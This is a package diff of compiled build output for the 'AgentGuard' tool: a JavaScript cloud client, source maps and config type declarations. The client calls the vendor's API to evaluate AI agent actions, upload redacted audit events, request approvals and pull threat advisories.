{"version":3,"file":"client.d.ts","sourceRoot":"","sources":["../../src/cloud/client.ts"],"names":[],"mappings":"AACA,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,cAAc,CAAC;AACrD,OAAO,KAAK,EACV,sBAAsB,EACtB,aAAa,EACb,iBAAiB,EACjB,eAAe,EAChB,MAAM,qBAAqB,CAAC;AAG7B,OAAO,KAAK,EAAE,QAAQ,EAAE,cAAc,EAAE,MAAM,kBAAkB,CAAC;AAOjE,qBAAa,qBAAqB;IAChC,OAAO,CAAC,QAAQ,CAAC,QAAQ,CAAS;IAClC,OAAO,CAAC,QAAQ,CAAC,MAAM,CAAC,CAAS;gBAErB,MAAM,EAAE,IAAI,CAAC,gBAAgB,EAAE,UAAU,GAAG,QAAQ,CAAC;IAKjE,IAAI,SAAS,IAAI,OAAO,CAEvB;IAEK,MAAM,IAAI,OAAO,CAAC;QAAE,MAAM,EAAE,MAAM,CAAC;QAAC,OAAO,CAAC,EAAE,MAAM,CAAA;KAAE,CAAC;IAKvD,oBAAoB,IAAI,OAAO,CAAC,sBAAsB,CAAC;IAMvD,cAAc,CAAC,MAAM,EAAE,aAAa,GAAG,OAAO,CAAC,eAAe,CAAC;IAS/D,YAAY,CAAC,MAAM,EAAE,iBAAiB,EAAE,GAAG,OAAO,CAAC,IAAI,CAAC;IAUxD,cAAc,CAAC,KAAK,EAAE,iBAAiB,GAAG,OAAO,CAAC,MAAM,GAAG,IAAI,CAAC;IAStE;;;;;OAKG;IACG,cAAc,CAAC,KAAK,CAAC,EAAE,MAAM,GAAG,OAAO,CAAC,QAAQ,EAAE,GAAG,IAAI,CAAC;IAgBhE;;;;OAIG;IACG,eAAe,CACnB,UAAU,EAAE,MAAM,EAClB,OAAO,EAAE,cAAc,EAAE,EACzB,OAAO,GAAE;QAAE,SAAS,CAAC,EAAE,MAAM,CAAC;QAAC,QAAQ,CAAC,EAAE,MAAM,EAAE,CAAA;KAAO,GACxD,OAAO,CAAC,IAAI,CAAC;YAoBF,OAAO;IAiBrB,OAAO,CAAC,aAAa;CAKtB;AAED,qBAAa,iBAAkB,SAAQ,KAAK;aAExB,MAAM,EAAE,MAAM;aACd,IAAI,EAAE,MAAM;gBADZ,MAAM,EAAE,MAAM,EACd,IAAI,EAAE,MAAM;CAK/B"}
|
|
@@ -0,0 +1,145 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.CloudRequestError = exports.AgentGuardCloudClient = void 0;
|
|
4
|
+
const config_js_1 = require("../config.js");
|
|
5
|
+
const redaction_js_1 = require("../runtime/redaction.js");
|
|
6
|
+
const audit_js_1 = require("../runtime/audit.js");
|
|
7
|
+
class AgentGuardCloudClient {
|
|
8
|
+
cloudUrl;
|
|
9
|
+
apiKey;
|
|
10
|
+
constructor(config) {
|
|
11
|
+
this.cloudUrl = (0, config_js_1.normalizeCloudUrl)(config.cloudUrl || 'https://agentguard.gopluslabs.io');
|
|
12
|
+
this.apiKey = config.apiKey;
|
|
13
|
+
}
|
|
14
|
+
get connected() {
|
|
15
|
+
return Boolean(this.apiKey);
|
|
16
|
+
}
|
|
17
|
+
async status() {
|
|
18
|
+
const body = await this.request('/api/v1/status');
|
|
19
|
+
return body.data;
|
|
20
|
+
}
|
|
21
|
+
async fetchEffectivePolicy() {
|
|
22
|
+
this.requireApiKey();
|
|
23
|
+
const body = await this.request('/api/v1/policies/effective');
|
|
24
|
+
return body.data;
|
|
25
|
+
}
|
|
26
|
+
async evaluateAction(action) {
|
|
27
|
+
this.requireApiKey();
|
|
28
|
+
const body = await this.request('/api/v1/actions/evaluate', {
|
|
29
|
+
method: 'POST',
|
|
30
|
+
body: JSON.stringify(sanitizeActionRequest(action)),
|
|
31
|
+
});
|
|
32
|
+
return body.data;
|
|
33
|
+
}
|
|
34
|
+
async ingestEvents(events) {
|
|
35
|
+
this.requireApiKey();
|
|
36
|
+
await this.request('/api/v1/events/ingest', {
|
|
37
|
+
method: 'POST',
|
|
38
|
+
body: JSON.stringify({
|
|
39
|
+
events: events.map((event) => (0, audit_js_1.buildAuditEvent)(event)),
|
|
40
|
+
}),
|
|
41
|
+
});
|
|
42
|
+
}
|
|
43
|
+
async createApproval(event) {
|
|
44
|
+
this.requireApiKey();
|
|
45
|
+
const body = await this.request('/api/v1/approvals', {
|
|
46
|
+
method: 'POST',
|
|
47
|
+
body: JSON.stringify((0, audit_js_1.buildAuditEvent)(event)),
|
|
48
|
+
});
|
|
49
|
+
return body.data.approvalId || null;
|
|
50
|
+
}
|
|
51
|
+
/**
|
|
52
|
+
* Pull threat-feed advisories newer than `since`. Returns null when the
|
|
53
|
+
* cloud doesn't expose the endpoint yet (404) — callers should treat null
|
|
54
|
+
* as "no new advisories" rather than an error, so the subscribe command
|
|
55
|
+
* works against older AgentGuard Cloud versions too.
|
|
56
|
+
*/
|
|
57
|
+
async pullAdvisories(since) {
|
|
58
|
+
const params = new URLSearchParams();
|
|
59
|
+
if (since)
|
|
60
|
+
params.set('since', since);
|
|
61
|
+
const qs = params.toString();
|
|
62
|
+
const path = `/api/v1/feed/advisories${qs ? `?${qs}` : ''}`;
|
|
63
|
+
try {
|
|
64
|
+
const body = await this.request(path);
|
|
65
|
+
return body.data.advisories ?? [];
|
|
66
|
+
}
|
|
67
|
+
catch (err) {
|
|
68
|
+
if (err instanceof CloudRequestError && err.status === 404) {
|
|
69
|
+
return null;
|
|
70
|
+
}
|
|
71
|
+
throw err;
|
|
72
|
+
}
|
|
73
|
+
}
|
|
74
|
+
/**
|
|
75
|
+
* Report the outcome of a single advisory self-check. Matches paths are
|
|
76
|
+
* redacted by the caller before they get here. Tolerates 404 so subscribe
|
|
77
|
+
* still completes locally even if the report sink is absent server-side.
|
|
78
|
+
*/
|
|
79
|
+
async reportSelfCheck(advisoryId, matches, options = {}) {
|
|
80
|
+
this.requireApiKey();
|
|
81
|
+
try {
|
|
82
|
+
await this.request('/api/v1/feed/self-check-report', {
|
|
83
|
+
method: 'POST',
|
|
84
|
+
body: JSON.stringify({
|
|
85
|
+
advisoryId,
|
|
86
|
+
matches,
|
|
87
|
+
elapsedMs: options.elapsedMs,
|
|
88
|
+
warnings: options.warnings,
|
|
89
|
+
}),
|
|
90
|
+
});
|
|
91
|
+
}
|
|
92
|
+
catch (err) {
|
|
93
|
+
if (err instanceof CloudRequestError && err.status === 404) {
|
|
94
|
+
return;
|
|
95
|
+
}
|
|
96
|
+
throw err;
|
|
97
|
+
}
|
|
98
|
+
}
|
|
99
|
+
async request(path, init = {}) {
|
|
100
|
+
const response = await fetch(`${this.cloudUrl}${path}`, {
|
|
101
|
+
...init,
|
|
102
|
+
headers: {
|
|
103
|
+
'content-type': 'application/json',
|
|
104
|
+
...(this.apiKey ? { 'x-api-key': this.apiKey } : {}),
|
|
105
|
+
...(init.headers || {}),
|
|
106
|
+
},
|
|
107
|
+
signal: AbortSignal.timeout(5000),
|
|
108
|
+
});
|
|
109
|
+
const body = (await response.json().catch(() => null));
|
|
110
|
+
if (!response.ok || !body?.success) {
|
|
111
|
+
throw new CloudRequestError(response.status, path);
|
|
112
|
+
}
|
|
113
|
+
return body;
|
|
114
|
+
}
|
|
115
|
+
requireApiKey() {
|
|
116
|
+
if (!this.apiKey) {
|
|
117
|
+
throw new Error('AgentGuard Cloud API key is not configured.');
|
|
118
|
+
}
|
|
119
|
+
}
|
|
120
|
+
}
|
|
121
|
+
exports.AgentGuardCloudClient = AgentGuardCloudClient;
|
|
122
|
+
class CloudRequestError extends Error {
|
|
123
|
+
status;
|
|
124
|
+
path;
|
|
125
|
+
constructor(status, path) {
|
|
126
|
+
super(`AgentGuard Cloud request failed: ${status} (${path})`);
|
|
127
|
+
this.status = status;
|
|
128
|
+
this.path = path;
|
|
129
|
+
this.name = 'CloudRequestError';
|
|
130
|
+
}
|
|
131
|
+
}
|
|
132
|
+
exports.CloudRequestError = CloudRequestError;
|
|
133
|
+
function sanitizeActionRequest(action) {
|
|
134
|
+
return {
|
|
135
|
+
sessionId: (0, redaction_js_1.redactPreview)(action.sessionId, 160),
|
|
136
|
+
agentHost: action.agentHost,
|
|
137
|
+
actionType: action.actionType,
|
|
138
|
+
toolName: (0, redaction_js_1.redactPreview)(action.toolName, 160),
|
|
139
|
+
input: (0, redaction_js_1.redactPreview)(action.input, 64_000),
|
|
140
|
+
cwd: action.cwd ? (0, redaction_js_1.redactPreview)(action.cwd, 500) : undefined,
|
|
141
|
+
sourceSkill: action.sourceSkill ? (0, redaction_js_1.redactPreview)(action.sourceSkill, 240) : undefined,
|
|
142
|
+
metadata: (0, redaction_js_1.redactMetadata)(action.metadata),
|
|
143
|
+
};
|
|
144
|
+
}
|
|
145
|
+
//# sourceMappingURL=client.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"client.js","sourceRoot":"","sources":["../../src/cloud/client.ts"],"names":[],"mappings":";;;AAAA,4CAAiD;AAQjD,0DAAwE;AACxE,kDAAsD;AAQtD,MAAa,qBAAqB;IACf,QAAQ,CAAS;IACjB,MAAM,CAAU;IAEjC,YAAY,MAAqD;QAC/D,IAAI,CAAC,QAAQ,GAAG,IAAA,6BAAiB,EAAC,MAAM,CAAC,QAAQ,IAAI,kCAAkC,CAAC,CAAC;QACzF,IAAI,CAAC,MAAM,GAAG,MAAM,CAAC,MAAM,CAAC;IAC9B,CAAC;IAED,IAAI,SAAS;QACX,OAAO,OAAO,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;IAC9B,CAAC;IAED,KAAK,CAAC,MAAM;QACV,MAAM,IAAI,GAAG,MAAM,IAAI,CAAC,OAAO,CAAuC,gBAAgB,CAAC,CAAC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,CAAC;CACF;AARD,8CAQC;AAED,SAAS,qBAAqB,CAAC,MAAqB;IAClD,OAAO;QACL,SAAS,EAAE,IAAA,4BAAa,EAAC,MAAM,CAAC,SAAS,EAAE,GAAG,CAAC;QAC/C,SAAS,EAAE,MAAM,CAAC,SAAS;QAC3B,UAAU,EAAE,MAAM,CAAC,UAAU;QAC7B,QAAQ,EAAE,IAAA,4BAAa,EAAC,MAAM,CAAC,QAAQ,EAAE,GAAG,CAAC;QAC7C,KAAK,EAAE,IAAA,4BAAa,EAAC,MAAM,CAAC,KAAK,EAAE,MAAM,CAAC;QAC1C,GAAG,EAAE,MAAM,CAAC,GAAG,CAAC,CAAC,CAAC,IAAA,4BAAa,EAAC,MAAM,CAAC,GAAG,EAAE,GAAG,CAAC,CAAC,CAAC,CAAC,SAAS;QAC5D,WAAW,EAAE,MAAM,CAAC,WAAW,CAAC,CAAC,CAAC,IAAA,4BAAa,EAAC,MAAM,CAAC,WAAW,EAAE,GAAG,CAAC,CAAC,CAAC,CAAC,SAAS;QACpF,QAAQ,EAAE,IAAA,6BAAc,EAAC,MAAM,CAAC,QAAQ,CAAC;KAC1C,CAAC;AACJ,CAAC"}
|
package/dist/config.d.ts
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
export interface AgentGuardConfig {
|
|
2
|
+
version: 1;
|
|
3
|
+
level: 'strict' | 'balanced' | 'permissive';
|
|
4
|
+
cloudUrl?: string;
|
|
5
|
+
apiKey?: string;
|
|
6
|
+
connectedAt?: string;
|
|
7
|
+
policyCachePath: string;
|
|
8
|
+
auditPath: string;
|
|
9
|
+
eventSpoolPath: string;
|
|
10
|
+
}
|
|
11
|
+
export interface AgentGuardPaths {
|
|
12
|
+
home: string;
|
|
13
|
+
configPath: string;
|
|
14
|
+
policyCachePath: string;
|
|
15
|
+
auditPath: string;
|
|
16
|
+
eventSpoolPath: string;
|
|
17
|
+
}
|
|
18
|
+
export declare function getAgentGuardPaths(): AgentGuardPaths;
|
|
19
|
+
export declare function defaultConfig(): AgentGuardConfig;
|
|
20
|
+
export declare function ensureAgentGuardHome(): AgentGuardPaths;
|
|
21
|
+
export declare function ensureConfig(): AgentGuardConfig;
|
|
22
|
+
export declare function loadConfig(): AgentGuardConfig;
|
|
23
|
+
export declare function saveConfig(config: AgentGuardConfig): void;
|
|
24
|
+
export declare function connectCloud(options: {
|
|
25
|
+
apiKey: string;
|
|
26
|
+
cloudUrl?: string;
|
|
27
|
+
}): AgentGuardConfig;
|
|
28
|
+
export declare function maskApiKey(apiKey?: string): string;
|
|
29
|
+
export declare function validateApiKey(apiKey: string): void;
|
|
30
|
+
export declare function normalizeCloudUrl(value: string): string;
|
|
31
|
+
//# sourceMappingURL=config.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"config.d.ts","sourceRoot":"","sources":["../src/config.ts"],"names":[],"mappings":"AAIA,MAAM,WAAW,gBAAgB;IAC/B,OAAO,EAAE,CAAC,CAAC;IACX,KAAK,EAAE,QAAQ,GAAG,UAAU,GAAG,YAAY,CAAC;IAC5C,QAAQ,CAAC,EAAE,MAAM,CAAC;IAClB,MAAM,CAAC,EAAE,MAAM,CAAC;IAChB,WAAW,CAAC,EAAE,MAAM,CAAC;IACrB,eAAe,EAAE,MAAM,CAAC;IACxB,SAAS,EAAE,MAAM,CAAC;IAClB,cAAc,EAAE,MAAM,CAAC;CACxB;AAED,MAAM,WAAW,eAAe;IAC9B,IAAI,EAAE,MAAM,CAAC;IACb,UAAU,EAAE,MAAM,CAAC;IACnB,eAAe,EAAE,MAAM,CAAC;IACxB,SAAS,EAAE,MAAM,CAAC;IAClB,cAAc,EAAE,MAAM,CAAC;CACxB;AAKD,wBAAgB,kBAAkB,IAAI,eAAe,CASpD;AAED,wBAAgB,aAAa,IAAI,gBAAgB,CAUhD;AAED,wBAAgB,oBAAoB,IAAI,eAAe,CAKtD;AAED,wBAAgB,YAAY,IAAI,gBAAgB,CAQ/C;AAED,wBAAgB,UAAU,IAAI,g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